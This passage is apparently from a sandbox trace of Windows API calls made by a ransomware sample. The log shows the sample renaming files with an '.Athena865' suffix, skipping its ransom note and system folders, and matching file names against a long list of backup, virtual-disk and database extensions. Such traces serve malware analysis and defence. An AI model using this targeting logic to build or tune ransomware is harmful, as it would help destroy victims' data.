(x86)\\Internet Explorer\\iedvtool.dll.Athena865" (normalized: "c:\\program files (x86)\\internet explorer\\iedvtool.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0042.294] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=860160) returned 1 [0042.294] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0042.295] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d390 [0042.295] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519228 [0042.295] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x5192b0) returned 1 [0042.295] CryptGenRandom (in: hProv=0x5192b0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0042.295] CryptReleaseContext (hProv=0x5192b0, dwFlags=0x0) returned 1 [0042.296] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xd2300, lpName=0x0) returned 0x17c [0042.297] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xd2300) returned 0x2d50000 [0042.361] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x5192b0) returned 1 [0042.362] CryptGenRandom (in: hProv=0x5192b0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0042.362] CryptReleaseContext (hProv=0x5192b0, dwFlags=0x0) returned 1 [0042.362] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d408 [0042.362] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d408 | out: hHeap=0x4f0000) returned 1 [0042.362] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x50ef50 [0042.362] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511438 [0042.362] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50ef50 | out: hHeap=0x4f0000) returned 1 [0042.362] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511668 [0042.362] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x530908 [0042.362] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511668 | out: hHeap=0x4f0000) returned 1 [0042.362] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530908 | out: hHeap=0x4f0000) returned 1 [0042.363] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511438 | out: hHeap=0x4f0000) returned 1 [0042.363] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0042.370] CloseHandle (hObject=0x17c) returned 1 [0042.370] CloseHandle (hObject=0x154) returned 1 [0042.380] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d390 | out: hHeap=0x4f0000) returned 1 [0042.380] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519228 | out: hHeap=0x4f0000) returned 1 [0042.380] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0042.383] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb273d712, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb273d712, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb27fbdf3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5b200, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ieinstal.exe", cAlternateFileName="")) returned 1 [0042.383] lstrcmpiW (lpString1="ieinstal.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0042.383] lstrcmpiW (lpString1="ieinstal.exe", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0042.383] lstrcmpiW (lpString1="ieinstal.exe", lpString2=".") returned 1 [0042.384] lstrcmpiW (lpString1="ieinstal.exe", lpString2="..") returned 1 [0042.384] lstrcmpiW (lpString1="ieinstal.exe", lpString2="windows") returned -1 [0042.384] lstrcmpiW (lpString1="ieinstal.exe", lpString2="bootmgr") returned 1 [0042.384] lstrcmpiW (lpString1="ieinstal.exe", lpString2="temp") returned -1 [0042.384] lstrcmpiW (lpString1="ieinstal.exe", lpString2="pagefile.sys") returned -1 [0042.384] lstrcmpiW (lpString1="ieinstal.exe", lpString2="boot") returned 1 [0042.384] lstrcmpiW (lpString1="ieinstal.exe", lpString2="ids.txt") returned 1 [0042.384] lstrcmpiW (lpString1="ieinstal.exe", lpString2="ntuser.dat") returned -1 [0042.384] lstrcmpiW (lpString1="ieinstal.exe", lpString2="perflogs") returned -1 [0042.384] lstrcmpiW (lpString1="ieinstal.exe", lpString2="MSBuild") returned -1 [0042.384] lstrlenW (lpString="ieinstal.exe") returned 12 [0042.384] lstrcpyW (in: lpString1=0x241e89a, lpString2="ieinstal.exe" | out: lpString1="ieinstal.exe") returned="ieinstal.exe" [0042.384] lstrlenW (lpString="ieinstal.exe") returned 12 [0042.384] lstrlenW (lpString="Athena865") returned 9 [0042.384] lstrcmpiW (lpString1="nstal.exe", lpString2="Athena865") returned 1 [0042.384] lstrlenW (lpString=".dll") returned 4 [0042.384] lstrcmpiW (lpString1="ieinstal.exe", lpString2=".dll") returned 1 [0042.384] lstrlenW (lpString=".lnk") returned 4 [0042.384] lstrcmpiW (lpString1="ieinstal.exe", lpString2=".lnk") returned 1 [0042.384] lstrlenW (lpString=".ini") returned 4 [0042.384] lstrcmpiW (lpString1="ieinstal.exe", lpString2=".ini") returned 1 [0042.384] lstrlenW (lpString=".sys") returned 4 [0042.384] lstrcmpiW (lpString1="ieinstal.exe", lpString2=".sys") returned 1 [0042.384] lstrlenW (lpString="ieinstal.exe") returned 12 [0042.384] lstrlenW (lpString="bak") returned 3 [0042.384] lstrcmpiW (lpString1="exe", lpString2="bak") returned 1 [0042.384] lstrlenW (lpString="ba_") returned 3 [0042.384] lstrcmpiW (lpString1="exe", lpString2="ba_") returned 1 [0042.384] lstrlenW (lpString="dbb") returned 3 [0042.384] lstrcmpiW (lpString1="exe", lpString2="dbb") returned 1 [0042.384] lstrlenW (lpString="vmdk") returned 4 [0042.384] lstrcmpiW (lpString1=".exe", lpString2="vmdk") returned -1 [0042.384] lstrlenW (lpString="rar") returned 3 [0042.384] lstrcmpiW (lpString1="exe", lpString2="rar") returned -1 [0042.384] lstrlenW (lpString="zip") returned 3 [0042.384] lstrcmpiW (lpString1="exe", lpString2="zip") returned -1 [0042.385] lstrlenW (lpString="tgz") returned 3 [0042.385] lstrcmpiW (lpString1="exe", lpString2="tgz") returned -1 [0042.385] lstrlenW (lpString="vbox") returned 4 [0042.385] lstrcmpiW (lpString1=".exe", lpString2="vbox") returned -1 [0042.385] lstrlenW (lpString="vdi") returned 3 [0042.385] lstrcmpiW (lpString1="exe", lpString2="vdi") returned -1 [0042.385] lstrlenW (lpString="vhd") returned 3 [0042.385] lstrcmpiW (lpString1="exe", lpString2="vhd") returned -1 [0042.385] lstrlenW (lpString="vhdx") returned 4 [0042.385] lstrcmpiW (lpString1=".exe", lpString2="vhdx") returned -1 [0042.385] lstrlenW (lpString="avhd") returned 4 [0042.385] lstrcmpiW (lpString1=".exe", lpString2="avhd") returned -1 [0042.385] lstrlenW (lpString="db") returned 2 [0042.385] lstrcmpiW (lpString1="xe", lpString2="db") returned 1 [0042.385] lstrlenW (lpString="db2") returned 3 [0042.385] lstrcmpiW (lpString1="exe", lpString2="db2") returned 1 [0042.385] lstrlenW (lpString="db3") returned 3 [0042.385] lstrcmpiW (lpString1="exe", lpString2="db3") returned 1 [0042.385] lstrlenW (lpString="dbf") returned 3 [0042.385] lstrcmpiW (lpString1="exe", lpString2="dbf") returned 1 [0042.385] lstrlenW (lpString="mdf") returned 3 [0042.385] lstrcmpiW (lpString1="exe", lpString2="mdf") returned -1 [0042.385] lstrlenW (lpString="mdb") returned 3 [0042.385] lstrcmpiW (lpString1="exe", lpString2="mdb") returned -1 [0042.385] lstrlenW (lpString="sql") returned 3 [0042.385] lstrcmpiW (lpString1="exe", lpString2="sql") returned -1 [0042.385] lstrlenW (lpString="sqlite") returned 6 [0042.385] lstrcmpiW (lpString1="al.exe", lpString2="sqlite") returned -1 [0042.385] lstrlenW (lpString="sqlite3") returned 7 [0042.385] lstrcmpiW (lpString1="tal.exe", lpString2="sqlite3") returned 1 [0042.385] lstrlenW (lpString="sqlitedb") returned 8 [0042.385] lstrcmpiW (lpString1="stal.exe", lpString2="sqlitedb") returned 1 [0042.385] lstrlenW (lpString="xml") returned 3 [0042.385] lstrcmpiW (lpString1="exe", lpString2="xml") returned -1 [0042.385] lstrlenW (lpString="$er") returned 3 [0042.385] lstrcmpiW (lpString1="exe", lpString2="$er") returned 1 [0042.385] lstrlenW (lpString="4dd") returned 3 [0042.386] lstrcmpiW (lpString1="exe", lpString2="4dd") returned 1 [0042.386] lstrlenW (lpString="4dl") returned 3 [0042.386] lstrcmpiW (lpString1="exe", lpString2="4dl") returned 1 [0042.386] lstrlenW (lpString="^^^") returned 3 [0042.386] lstrcmpiW (lpString1="exe", lpString2="^^^") returned 1 [0042.386] lstrlenW (lpString="abs") returned 3 [0042.386] lstrcmpiW (lpString1="exe", lpString2="abs") returned 1 [0042.386] lstrlenW (lpString="abx") returned 3 [0042.386] lstrcmpiW (lpString1="exe", lpString2="abx") returned 1 [0042.386] lstrlenW (lpString="accdb") returned 5 [0042.386] lstrcmpiW (lpString1="l.exe", lpString2="accdb") returned 1 [0042.386] lstrlenW (lpString="accdc") returned 5 [0042.386] lstrcmpiW (lpString1="l.exe", lpString2="accdc") returned 1 [0042.386] lstrlenW (lpString="accde") returned 5 [0042.386] lstrcmpiW (lpString1="l.exe", lpString2="accde") returned 1 [0042.386] lstrlenW (lpString="accdr") returned 5 [0042.386] lstrcmpiW (lpString1="l.exe", lpString2="accdr") returned 1 [0042.386] lstrlenW (lpString="accdt") returned 5 [0042.386] lstrcmpiW (lpString1="l.exe", lpString2="accdt") returned 1 [0042.386] lstrlenW (lpString="accdw") returned 5 [0042.386] lstrcmpiW (lpString1="l.exe", lpString2="accdw") returned 1 [0042.386] lstrlenW (lpString="accft") returned 5 [0042.386] lstrcmpiW (lpString1="l.exe", lpString2="accft") returned 1 [0042.386] lstrlenW (lpString="adb") returned 3 [0042.386] lstrcmpiW (lpString1="exe", lpString2="adb") returned 1 [0042.386] lstrlenW (lpString="adb") returned 3 [0042.386] lstrcmpiW (lpString1="exe", lpString2="adb") returned 1 [0042.386] lstrlenW (lpString="ade") returned 3 [0042.386] lstrcmpiW (lpString1="exe", lpString2="ade") returned 1 [0042.386] lstrlenW (lpString="adf") returned 3 [0042.386] lstrcmpiW (lpString1="exe", lpString2="adf") returned 1 [0042.386] lstrlenW (lpString="adn") returned 3 [0042.386] lstrcmpiW (lpString1="exe", lpString2="adn") returned 1 [0042.386] lstrlenW (lpString="adp") returned 3 [0042.386] lstrcmpiW (lpString1="exe", lpString2="adp") returned 1 [0042.386] lstrlenW (lpString="alf") returned 3 [0042.386] lstrcmpiW (lpString1="exe", lpString2="alf") returned 1 [0042.387] lstrlenW (lpString="ask") returned 3 [0042.387] lstrcmpiW (lpString1="exe", lpString2="ask") returned 1 [0042.387] lstrlenW (lpString="btr") returned 3 [0042.387] lstrcmpiW (lpString1="exe", lpString2="btr") returned 1 [0042.387] lstrlenW (lpString="cat") returned 3 [0042.387] lstrcmpiW (lpString1="exe", lpString2="cat") returned 1 [0042.387] lstrlenW (lpString="cdb") returned 3 [0042.387] lstrcmpiW (lpString1="exe", lpString2="cdb") returned 1 [0042.387] lstrlenW (lpString="ckp") returned 3 [0042.387] lstrcmpiW (lpString1="exe", lpString2="ckp") returned 1 [0042.387] lstrlenW (lpString="cma") returned 3 [0042.387] lstrcmpiW (lpString1="exe", lpString2="cma") returned 1 [0042.387] lstrlenW (lpString="cpd") returned 3 [0042.387] lstrcmpiW (lpString1="exe", lpString2="cpd") returned 1 [0042.387] lstrlenW (lpString="dacpac") returned 6 [0042.387] lstrcmpiW (lpString1="al.exe", lpString2="dacpac") returned -1 [0042.387] lstrlenW (lpString="dad") returned 3 [0042.387] lstrcmpiW (lpString1="exe", lpString2="dad") returned 1 [0042.387] lstrlenW (lpString="dadiagrams") returned 10 [0042.387] lstrcmpiW (lpString1="instal.exe", lpString2="dadiagrams") returned 1 [0042.387] lstrlenW (lpString="daschema") returned 8 [0042.387] lstrcmpiW (lpString1="stal.exe", lpString2="daschema") returned 1 [0042.387] lstrlenW (lpString="db-journal") returned 10 [0042.387] lstrcmpiW (lpString1="instal.exe", lpString2="db-journal") returned 1 [0042.387] lstrlenW (lpString="db-shm") returned 6 [0042.387] lstrcmpiW (lpString1="al.exe", lpString2="db-shm") returned -1 [0042.387] lstrlenW (lpString="db-wal") returned 6 [0042.387] lstrcmpiW (lpString1="al.exe", lpString2="db-wal") returned -1 [0042.387] lstrlenW (lpString="dbc") returned 3 [0042.387] lstrcmpiW (lpString1="exe", lpString2="dbc") returned 1 [0042.387] lstrlenW (lpString="dbs") returned 3 [0042.387] lstrcmpiW (lpString1="exe", lpString2="dbs") returned 1 [0042.387] lstrlenW (lpString="dbt") returned 3 [0042.387] lstrcmpiW (lpString1="exe", lpString2="dbt") returned 1 [0042.387] lstrlenW (lpString="dbv") returned 3 [0042.387] lstrcmpiW (lpString1="exe", lpString2="dbv") returned 1 [0042.387] lstrlenW (lpString="dbx") returned 3 [0042.388] lstrcmpiW (lpString1="exe", lpString2="dbx") returned 1 [0042.388] lstrlenW (lpString="dcb") returned 3 [0042.388] lstrcmpiW (lpString1="exe", lpString2="dcb") returned 1 [0042.388] lstrlenW (lpString="dct") returned 3 [0042.388] lstrcmpiW (lpString1="exe", lpString2="dct") returned 1 [0042.388] lstrlenW (lpString="dcx") returned 3 [0042.388] lstrcmpiW (lpString1="exe", lpString2="dcx") returned 1 [0042.388] lstrlenW (lpString="ddl") returned 3 [0042.388] lstrcmpiW (lpString1="exe", lpString2="ddl") returned 1 [0042.388] lstrlenW (lpString="dlis") returned 4 [0042.388] lstrcmpiW (lpString1=".exe", lpString2="dlis") returned -1 [0042.388] lstrlenW (lpString="dp1") returned 3 [0042.388] lstrcmpiW (lpString1="exe", lpString2="dp1") returned 1 [0042.388] lstrlenW (lpString="dqy") returned 3 [0042.388] lstrcmpiW (lpString1="exe", lpString2="dqy") returned 1 [0042.388] lstrlenW (lpString="dsk") returned 3 [0042.388] lstrcmpiW (lpString1="exe", lpString2="dsk") returned 1 [0042.388] lstrlenW (lpString="dsn") returned 3 [0042.388] lstrcmpiW (lpString1="exe", lpString2="dsn") returned 1 [0042.388] lstrlenW (lpString="dtsx") returned 4 [0042.388] lstrcmpiW (lpString1=".exe", lpString2="dtsx") returned -1 [0042.388] lstrlenW (lpString="dxl") returned 3 [0042.388] lstrcmpiW (lpString1="exe", lpString2="dxl") returned 1 [0042.388] lstrlenW (lpString="eco") returned 3 [0042.388] lstrcmpiW (lpString1="exe", lpString2="eco") returned 1 [0042.388] lstrlenW (lpString="ecx") returned 3 [0042.388] lstrcmpiW (lpString1="exe", lpString2="ecx") returned 1 [0042.388] lstrlenW (lpString="edb") returned 3 [0042.388] lstrcmpiW (lpString1="exe", lpString2="edb") returned 1 [0042.388] lstrlenW (lpString="epim") returned 4 [0042.388] lstrcmpiW (lpString1=".exe", lpString2="epim") returned -1 [0042.388] lstrlenW (lpString="fcd") returned 3 [0042.388] lstrcmpiW (lpString1="exe", lpString2="fcd") returned -1 [0042.388] lstrlenW (lpString="fdb") returned 3 [0042.388] lstrcmpiW (lpString1="exe", lpString2="fdb") returned -1 [0042.388] lstrlenW (lpString="fic") returned 3 [0042.388] lstrcmpiW (lpString1="exe", lpString2="fic") returned -1 [0042.388] lstrlenW (lpString="flexolibrary") returned 12 [0042.389] lstrlenW (lpString="fm5") returned 3 [0042.389] lstrcmpiW (lpString1="exe", lpString2="fm5") returned -1 [0042.389] lstrlenW (lpString="fmp") returned 3 [0042.389] lstrcmpiW (lpString1="exe", lpString2="fmp") returned -1 [0042.389] lstrlenW (lpString="fmp12") returned 5 [0042.389] lstrcmpiW (lpString1="l.exe", lpString2="fmp12") returned 1 [0042.389] lstrlenW (lpString="fmpsl") returned 5 [0042.389] lstrcmpiW (lpString1="l.exe", lpString2="fmpsl") returned 1 [0042.389] lstrlenW (lpString="fol") returned 3 [0042.389] lstrcmpiW (lpString1="exe", lpString2="fol") returned -1 [0042.389] lstrlenW (lpString="fp3") returned 3 [0042.389] lstrcmpiW (lpString1="exe", lpString2="fp3") returned -1 [0042.389] lstrlenW (lpString="fp4") returned 3 [0042.389] lstrcmpiW (lpString1="exe", lpString2="fp4") returned -1 [0042.389] lstrlenW (lpString="fp5") returned 3 [0042.389] lstrcmpiW (lpString1="exe", lpString2="fp5") returned -1 [0042.389] lstrlenW (lpString="fp7") returned 3 [0042.389] lstrcmpiW (lpString1="exe", lpString2="fp7") returned -1 [0042.389] lstrlenW (lpString="fpt") returned 3 [0042.389] lstrcmpiW (lpString1="exe", lpString2="fpt") returned -1 [0042.389] lstrlenW (lpString="frm") returned 3 [0042.389] lstrcmpiW (lpString1="exe", lpString2="frm") returned -1 [0042.389] lstrlenW (lpString="gdb") returned 3 [0042.389] lstrcmpiW (lpString1="exe", lpString2="gdb") returned -1 [0042.389] lstrlenW (lpString="gdb") returned 3 [0042.389] lstrcmpiW (lpString1="exe", lpString2="gdb") returned -1 [0042.389] lstrlenW (lpString="grdb") returned 4 [0042.389] lstrcmpiW (lpString1=".exe", lpString2="grdb") returned -1 [0042.389] lstrlenW (lpString="gwi") returned 3 [0042.389] lstrcmpiW (lpString1="exe", lpString2="gwi") returned -1 [0042.389] lstrlenW (lpString="hdb") returned 3 [0042.389] lstrcmpiW (lpString1="exe", lpString2="hdb") returned -1 [0042.389] lstrlenW (lpString="his") returned 3 [0042.390] lstrcmpiW (lpString1="exe", lpString2="his") returned -1 [0042.390] lstrlenW (lpString="ib") returned 2 [0042.390] lstrcmpiW (lpString1="xe", lpString2="ib") returned 1 [0042.390] lstrlenW (lpString="idb") returned 3 [0042.390] lstrcmpiW (lpString1="exe", lpString2="idb") returned -1 [0042.390] lstrlenW (lpString="ihx") returned 3 [0042.390] lstrcmpiW (lpString1="exe", lpString2="ihx") returned -1 [0042.390] lstrlenW (lpString="itdb") returned 4 [0042.390] lstrcmpiW (lpString1=".exe", lpString2="itdb") returned -1 [0042.390] lstrlenW (lpString="itw") returned 3 [0042.390] lstrcmpiW (lpString1="exe", lpString2="itw") returned -1 [0042.390] lstrlenW (lpString="jet") returned 3 [0042.390] lstrcmpiW (lpString1="exe", lpString2="jet") returned -1 [0042.390] lstrlenW (lpString="jtx") returned 3 [0042.390] lstrcmpiW (lpString1="exe", lpString2="jtx") returned -1 [0042.390] lstrlenW (lpString="kdb") returned 3 [0042.390] lstrcmpiW (lpString1="exe", lpString2="kdb") returned -1 [0042.390] lstrlenW (lpString="kexi") returned 4 [0042.390] lstrcmpiW (lpString1=".exe", lpString2="kexi") returned -1 [0042.390] lstrlenW (lpString="kexic") returned 5 [0042.390] lstrcmpiW (lpString1="l.exe", lpString2="kexic") returned 1 [0042.390] lstrlenW (lpString="kexis") returned 5 [0042.390] lstrcmpiW (lpString1="l.exe", lpString2="kexis") returned 1 [0042.390] lstrlenW (lpString="lgc") returned 3 [0042.390] lstrcmpiW (lpString1="exe", lpString2="lgc") returned -1 [0042.390] lstrlenW (lpString="lwx") returned 3 [0042.390] lstrcmpiW (lpString1="exe", lpString2="lwx") returned -1 [0042.390] lstrlenW (lpString="maf") returned 3 [0042.390] lstrcmpiW (lpString1="exe", lpString2="maf") returned -1 [0042.390] lstrlenW (lpString="maq") returned 3 [0042.390] lstrcmpiW (lpString1="exe", lpString2="maq") returned -1 [0042.390] lstrlenW (lpString="mar") returned 3 [0042.390] lstrcmpiW (lpString1="exe", lpString2="mar") returned -1 [0042.391] lstrlenW (lpString="marshal") returned 7 [0042.391] lstrcmpiW (lpString1="tal.exe", lpString2="marshal") returned 1 [0042.391] lstrlenW (lpString="mas") returned 3 [0042.391] lstrcmpiW (lpString1="exe", lpString2="mas") returned -1 [0042.391] lstrlenW (lpString="mav") returned 3 [0042.391] lstrcmpiW (lpString1="exe", lpString2="mav") returned -1 [0042.391] lstrlenW (lpString="maw") returned 3 [0042.391] lstrcmpiW (lpString1="exe", lpString2="maw") returned -1 [0042.391] lstrlenW (lpString="mdbhtml") returned 7 [0042.391] lstrcmpiW (lpString1="tal.exe", lpString2="mdbhtml") returned 1 [0042.391] lstrlenW (lpString="mdn") returned 3 [0042.391] lstrcmpiW (lpString1="exe", lpString2="mdn") returned -1 [0042.391] lstrlenW (lpString="mdt") returned 3 [0042.391] lstrcmpiW (lpString1="exe", lpString2="mdt") returned -1 [0042.391] lstrlenW (lpString="mfd") returned 3 [0042.391] lstrcmpiW (lpString1="exe", lpString2="mfd") returned -1 [0042.391] lstrlenW (lpString="mpd") returned 3 [0042.391] lstrcmpiW (lpString1="exe", lpString2="mpd") returned -1 [0042.391] lstrlenW (lpString="mrg") returned 3 [0042.391] lstrcmpiW (lpString1="exe", lpString2="mrg") returned -1 [0042.391] lstrlenW (lpString="mud") returned 3 [0042.391] lstrcmpiW (lpString1="exe", lpString2="mud") returned -1 [0042.391] lstrlenW (lpString="mwb") returned 3 [0042.391] lstrcmpiW (lpString1="exe", lpString2="mwb") returned -1 [0042.391] lstrlenW (lpString="myd") returned 3 [0042.391] lstrcmpiW (lpString1="exe", lpString2="myd") returned -1 [0042.391] lstrlenW (lpString="ndf") returned 3 [0042.391] lstrcmpiW (lpString1="exe", lpString2="ndf") returned -1 [0042.391] lstrlenW (lpString="nnt") returned 3 [0042.391] lstrcmpiW (lpString1="exe", lpString2="nnt") returned -1 [0042.391] lstrlenW (lpString="nrmlib") returned 6 [0042.391] lstrcmpiW (lpString1="al.exe", lpString2="nrmlib") returned -1 [0042.391] lstrlenW (lpString="ns2") returned 3 [0042.391] lstrcmpiW (lpString1="exe", lpString2="ns2") returned -1 [0042.391] lstrlenW (lpString="ns3") returned 3 [0042.391] lstrcmpiW (lpString1="exe", lpString2="ns3") returned -1 [0042.391] lstrlenW (lpString="ns4") returned 3 [0042.392] lstrcmpiW (lpString1="exe", lpString2="ns4") returned -1 [0042.392] lstrlenW (lpString="nsf") returned 3 [0042.392] lstrcmpiW (lpString1="exe", lpString2="nsf") returned -1 [0042.392] lstrlenW (lpString="nv") returned 2 [0042.392] lstrcmpiW (lpString1="xe", lpString2="nv") returned 1 [0042.392] lstrlenW (lpString="nv2") returned 3 [0042.392] lstrcmpiW (lpString1="exe", lpString2="nv2") returned -1 [0042.392] lstrlenW (lpString="nwdb") returned 4 [0042.392] lstrcmpiW (lpString1=".exe", lpString2="nwdb") returned -1 [0042.392] lstrlenW (lpString="nyf") returned 3 [0042.392] lstrcmpiW (lpString1="exe", lpString2="nyf") returned -1 [0042.392] lstrlenW (lpString="odb") returned 3 [0042.392] lstrcmpiW (lpString1="exe", lpString2="odb") returned -1 [0042.392] lstrlenW (lpString="odb") returned 3 [0042.392] lstrcmpiW (lpString1="exe", lpString2="odb") returned -1 [0042.392] lstrlenW (lpString="oqy") returned 3 [0042.392] lstrcmpiW (lpString1="exe", lpString2="oqy") returned -1 [0042.392] lstrlenW (lpString="ora") returned 3 [0042.392] lstrcmpiW (lpString1="exe", lpString2="ora") returned -1 [0042.392] lstrlenW (lpString="orx") returned 3 [0042.392] lstrcmpiW (lpString1="exe", lpString2="orx") returned -1 [0042.392] lstrlenW (lpString="owc") returned 3 [0042.392] lstrcmpiW (lpString1="exe", lpString2="owc") returned -1 [0042.392] lstrlenW (lpString="p96") returned 3 [0042.392] lstrcmpiW (lpString1="exe", lpString2="p96") returned -1 [0042.392] lstrlenW (lpString="p97") returned 3 [0042.392] lstrcmpiW (lpString1="exe", lpString2="p97") returned -1 [0042.392] lstrlenW (lpString="pan") returned 3 [0042.392] lstrcmpiW (lpString1="exe", lpString2="pan") returned -1 [0042.392] lstrlenW (lpString="pdb") returned 3 [0042.392] lstrcmpiW (lpString1="exe", lpString2="pdb") returned -1 [0042.392] lstrlenW (lpString="pdm") returned 3 [0042.392] lstrcmpiW (lpString1="exe", lpString2="pdm") returned -1 [0042.392] lstrlenW (lpString="pnz") returned 3 [0042.392] lstrcmpiW (lpString1="exe", lpString2="pnz") returned -1 [0042.392] lstrlenW (lpString="qry") returned 3 [0042.392] lstrcmpiW (lpString1="exe", lpString2="qry") returned -1 [0042.392] lstrlenW (lpString="qvd") returned 3 [0042.393] lstrcmpiW (lpString1="exe", lpString2="qvd") returned -1 [0042.393] lstrlenW (lpString="rbf") returned 3 [0042.393] lstrcmpiW (lpString1="exe", lpString2="rbf") returned -1 [0042.393] lstrlenW (lpString="rctd") returned 4 [0042.393] lstrcmpiW (lpString1=".exe", lpString2="rctd") returned -1 [0042.393] lstrlenW (lpString="rod") returned 3 [0042.393] lstrcmpiW (lpString1="exe", lpString2="rod") returned -1 [0042.393] lstrlenW (lpString="rodx") returned 4 [0042.393] lstrcmpiW (lpString1=".exe", lpString2="rodx") returned -1 [0042.393] lstrlenW (lpString="rpd") returned 3 [0042.393] lstrcmpiW (lpString1="exe", lpString2="rpd") returned -1 [0042.393] lstrlenW (lpString="rsd") returned 3 [0042.393] lstrcmpiW (lpString1="exe", lpString2="rsd") returned -1 [0042.393] lstrlenW (lpString="sas7bdat") returned 8 [0042.393] lstrcmpiW (lpString1="stal.exe", lpString2="sas7bdat") returned 1 [0042.393] lstrlenW (lpString="sbf") returned 3 [0042.393] lstrcmpiW (lpString1="exe", lpString2="sbf") returned -1 [0042.393] lstrlenW (lpString="scx") returned 3 [0042.393] lstrcmpiW (lpString1="exe", lpString2="scx") returned -1 [0042.393] lstrlenW (lpString="sdb") returned 3 [0042.393] lstrcmpiW (lpString1="exe", lpString2="sdb") returned -1 [0042.393] lstrlenW (lpString="sdc") returned 3 [0042.393] lstrcmpiW (lpString1="exe", lpString2="sdc") returned -1 [0042.393] lstrlenW (lpString="sdf") returned 3 [0042.393] lstrcmpiW (lpString1="exe", lpString2="sdf") returned -1 [0042.393] lstrlenW (lpString="sis") returned 3 [0042.393] lstrcmpiW (lpString1="exe", lpString2="sis") returned -1 [0042.393] lstrlenW (lpString="spq") returned 3 [0042.393] lstrcmpiW (lpString1="exe", lpString2="spq") returned -1 [0042.393] lstrlenW (lpString="te") returned 2 [0042.393] lstrcmpiW (lpString1="xe", lpString2="te") returned 1 [0042.393] lstrlenW (lpString="teacher") returned 7 [0042.393] lstrcmpiW (lpString1="tal.exe", lpString2="teacher") returned -1 [0042.393] lstrlenW (lpString="tmd") returned 3 [0042.393] lstrcmpiW (lpString1="exe", lpString2="tmd") returned -1 [0042.393] lstrlenW (lpString="tps") returned 3 [0042.393] lstrcmpiW (lpString1="exe", lpString2="tps") returned -1 [0042.394] lstrlenW (lpString="trc") returned 3 [0042.394] lstrcmpiW (lpString1="exe", lpString2="trc") returned -1 [0042.394] lstrlenW (lpString="trc") returned 3 [0042.394] lstrcmpiW (lpString1="exe", lpString2="trc") returned -1 [0042.394] lstrlenW (lpString="trm") returned 3 [0042.394] lstrcmpiW (lpString1="exe", lpString2="trm") returned -1 [0042.394] lstrlenW (lpString="udb") returned 3 [0042.394] lstrcmpiW (lpString1="exe", lpString2="udb") returned -1 [0042.394] lstrlenW (lpString="udl") returned 3 [0042.394] lstrcmpiW (lpString1="exe", lpString2="udl") returned -1 [0042.394] lstrlenW (lpString="usr") returned 3 [0042.394] lstrcmpiW (lpString1="exe", lpString2="usr") returned -1 [0042.394] lstrlenW (lpString="v12") returned 3 [0042.394] lstrcmpiW (lpString1="exe", lpString2="v12") returned -1 [0042.394] lstrlenW (lpString="vis") returned 3 [0042.394] lstrcmpiW (lpString1="exe", lpString2="vis") returned -1 [0042.394] lstrlenW (lpString="vpd") returned 3 [0042.394] lstrcmpiW (lpString1="exe", lpString2="vpd") returned -1 [0042.394] lstrlenW (lpString="vvv") returned 3 [0042.394] lstrcmpiW (lpString1="exe", lpString2="vvv") returned -1 [0042.394] lstrlenW (lpString="wdb") returned 3 [0042.394] lstrcmpiW (lpString1="exe", lpString2="wdb") returned -1 [0042.394] lstrlenW (lpString="wmdb") returned 4 [0042.394] lstrcmpiW (lpString1=".exe", lpString2="wmdb") returned -1 [0042.394] lstrlenW (lpString="wrk") returned 3 [0042.394] lstrcmpiW (lpString1="exe", lpString2="wrk") returned -1 [0042.394] lstrlenW (lpString="xdb") returned 3 [0042.394] lstrcmpiW (lpString1="exe", lpString2="xdb") returned -1 [0042.394] lstrlenW (lpString="xld") returned 3 [0042.394] lstrcmpiW (lpString1="exe", lpString2="xld") returned -1 [0042.394] lstrlenW (lpString="xmlff") returned 5 [0042.394] lstrcmpiW 